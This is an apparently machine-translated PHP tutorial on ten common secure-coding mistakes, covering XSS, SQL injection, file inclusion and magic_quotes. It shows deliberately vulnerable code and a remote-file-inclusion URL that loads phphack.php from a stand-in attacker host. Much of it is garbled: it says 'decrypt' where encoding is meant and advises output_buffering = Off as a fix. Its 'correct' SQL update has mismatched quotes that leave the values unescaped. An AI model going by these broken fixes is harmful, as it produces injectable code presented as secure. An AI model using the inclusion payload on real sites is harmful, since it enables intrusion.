Summary of common mistakes when writing secure code in PHP

Summary of common mistakes when writing secure code in PHP_PHP Tutorial

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Release： 2016-07-21 15:37:47

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1. Do not decrypt html entities
A basic common sense: all untrusted input (especially data submitted by users from forms) must be decrypted before output.
echo $_GET['usename'] ;
This example may output:
<script>/*Script to change admin password or set cookie*/</script>
This is an obvious security risk unless you ensure that your users are typing correctly.
How to fix:
We need to convert "< ", ">", "and" etc. into the correct HTML representation (< , >', and ") using the functions htmlspecialchars and htmlentities() This is exactly what it does.
The correct method:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. Do not ignore SQL input
I once discussed this issue in an article The Simplest Way to Prevent SQL Injection (in php+mysql) and gave a simple method. Someone said to me that they had set magic_quotes in php.ini. On, so don’t worry about this problem, but not all input is obtained from $_GET, $_POST or $_COOKIE!
How to fix:
And the easiest way to prevent sql injection (php +mysql) I still recommend using the mysql_real_escape_string() function
Correct approach:

Copy code The code is as follows:

 
$sql = "UPDATE users SET 
name='.mysql_real_escape_string($name).' 
WHERE id='.mysql_real_escape_string ($id).'"; 
 mysql_query($sql); 
?> 

3. Wrong use of HTTP-header related functions: header(), session_start(), setcookie()
Have you ever encountered this warning? "warning: Cannot add header information - headers already sent [....]

Every time you download a web page from the server, the server's output is divided into two Parts: header and body.
The header contains some non-visual data, such as cookies. The head always arrives first. The text part includes visual html, pictures and other data.
If output_buffering is set to Off, all HTTP-header related functions must be called before there is output. The problem is that when you develop in one environment and deploy to another environment, the output_buffering settings may be different. As a result, the redirection stopped, and the cookie and session were not set correctly...

How to fix:
Make sure to call http-header related functions before outputting, and set output_buffering = Off
.
4. Require or include files use unsafe data
Again: do not trust data that is not explicitly declared by yourself. Do not include or require files obtained from $_GET, $_POST or $_COOKIE.
For example:

Copy code The code is as follows:

 
index.php 
/ /including header, config, database connection, etc 
include($_GET['filename']); 
//including footer 
?> 

Now any hacker You can now use: http://www.yourdomain.com/index.php?filename=anyfile.txt
to obtain your confidential information, or execute a PHP script.
If allow_url_fopen=On, you are dead:
Try this input:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain. com%2Fphphack.php
Now your web page contains the output of http://www.youaredoomed.com/phphack.php. Hackers can send spam, change passwords, delete files, etc. Anything you can imagine.
How to fix:
You must control which files can be included in the include or require directives yourself.
Here is a quick but not comprehensive solution:

Copy the code The code is as follows:

 
//Include only files that are allowed. 
$allowedFiles = array('file1.txt','file2.txt','file3.txt'); 
if(in_array((string)$_GET ['filename'],$allowedFiles)) { 
include($_GET['filename']); 
} 
else{ 
exit('not allowed'); 
} 
?> 

5. Grammar Errors
Grammar errors include all lexical and grammatical errors that are so common that I had to list them here. The solution is to study the syntax of PHP carefully and be careful not to miss a bracket, brace, semicolon, or quotation mark. Also, find a good editor and don’t use Notepad!
6. Little or no object-oriented use
Many projects do not use PHP’s object-oriented technology, and as a result, code maintenance becomes very time-consuming and labor-intensive. PHP supports more and more object-oriented technologies and is getting better and better. There is no reason why we should not use object-oriented technology.
7. Not using a framework
95% of PHP projects are doing the same four things: Create, edit, list and delete. Now there are many MVC frameworks to help us complete this Four things, why don’t we use them?
8. Don’t know the functions that are already in PHP
The core of PHP contains many functions. Many programmers reinvent the wheel over and over again. A lot of time wasted. Before coding, search for PHP mamual and search on google. You may find new discoveries! exec() in PHP is a powerful function that can execute cmd shell and return the last line of the execution result in the form of a string. Considering security, you can use EscapeShellCmd()
9. Use old versions of PHP
Many programmers are still using PHP4. Development on PHP4 cannot fully utilize the potential of PHP, and there are still some security issues hidden dangers. Switch to PHP5, it doesn't take a lot of effort. Most PHP4 programs can be migrated to PHP5 with few or even no changes to the statements. According to a survey by http://www.nexen.net, only 12% of PHP servers use PHP5, so 88% of PHP developers are still using PHP4.
10. Change the quotation marks twice
Have you ever seen 'or'" appear in web pages? This is usually because magic_quotes is set to off in the developer's environment, and magic_quotes =on on the deployed server. PHP will be used in GET, POST and COOKIE Run addslashes() repeatedly on the data.
Original text:
It's a string

magic quotes on :
It\'s a string

HTML output:
It's a string

Another situation is that the user enters incorrect login information at the beginning and the server detects the incorrect input After that, the same form is output and the user is required to input again, causing the user's input to change its meaning twice!

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